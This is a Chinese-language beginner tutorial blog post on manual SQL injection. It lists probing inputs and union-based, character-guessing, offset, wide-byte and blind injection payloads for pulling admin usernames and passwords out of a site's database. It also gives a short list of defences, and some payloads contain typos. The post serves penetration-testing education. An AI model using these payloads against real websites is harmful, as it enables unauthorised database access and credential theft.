基礎篇——SQL注入(手工注入)


SQL注入

  當我們學習一個知識時我們要考慮幾個問題:是什么?怎么做?然后進行有條理的學習

是什么?

 

  首先我們要明白SQL注入是什么:

    sql——結構化查詢語言

    SQL注入就是在網站url中插入sql語句,執行sql命令,獲取數據庫內容,達到欺騙服務器的目的。

  SQL注入的原理:普通用戶提交sql查詢語句,網站沒有對用戶輸入進行過濾導致執行用戶命令

危害及防護

  危害:SQL注入可以使入侵者獲取后台賬號密碼、拖庫、進入后台破壞、拿shell

  防護:設置網站黑名單、限制敏感詞匯、對用戶輸入進行轉義、將參數語句化

怎么做?

  明白什么時SQL注入后我們就要學習如何注入。

  注入的前提是要找到注入漏洞,通常判斷是否存在SQL注入漏洞的方法有:

    1、  ‘  單引號判斷

    2、 and 1=1 1=2  判斷

  找到注入漏洞后就可以進行SQL注入了,注入方法分為很多種:

    聯合查詢法

    逐字猜解法

    偏移注入法

    寬字節注入

    時間、布爾盲注

    報錯注入

  進行注入可以使用手工和工具,手工注入方法:

    1、聯合查詢法

      首先判斷存在注入漏洞后:

        1、使用order by

        2、使用聯合查詢語句:union select nums,nums(字段數) from admin(數據庫表名)

                         

        3、根據返回內容進一步猜解列名:賬號密碼

                                                                           

 

    2、逐字猜解法:

      逐字猜解不需要進行猜解字段,直接使用逐字猜解語句猜解庫名、列名以及賬號密碼

      逐字猜解語句:

             and exists (select * from 表名)

                  and exists (select  列名  from 表名)

                  and (select top 1 len(用戶名) from admin ) =名字長度

                  and (select top 1 asc(mid用戶名,1,1)from admin )=97  (判斷第一位的ascll值)

             and (select top 1 asc(mid用戶名,2,1)from admin )=97  (第二位)

      逐字猜解方法偏於繁瑣,熟悉手工注入方式即可,在滲透測試過程中還是要講究效率問題    

    3、偏移注入法:

      偏移注入屬於無法猜解賬號密碼后嘗試的使用方法,注入結果帶有一點運氣的成分

      偏移注入語句:

        order by 猜解字段

        union select num,num,num from 表名

        union select num,num,* from admin 逐個遞減字段數,當可以正常訪問則證明admin表存在(遞減字段數假設為x)個字段

        之后每次遞減x個字段

        遞減一個x后

        union select num * from(admin as ainner join admin as b on a.id=b.id)

        遞減兩個x后

        union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

        逐個遞減直到所剩字段小於x后(不一定可以得到所要結果)

    4、寬字節注入法:

      什么時候使用寬字節呢?當web編碼使用GBK時,可以將單引號轉義則使用寬字節注入

      寬字節注入:%df (注入語句)%23

    5、報錯注入,盲注則根據頁面返回情況,返回時間進行注入

  以上即為常用的幾種手工注入方式,如有錯誤請留言,博主及時更正!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM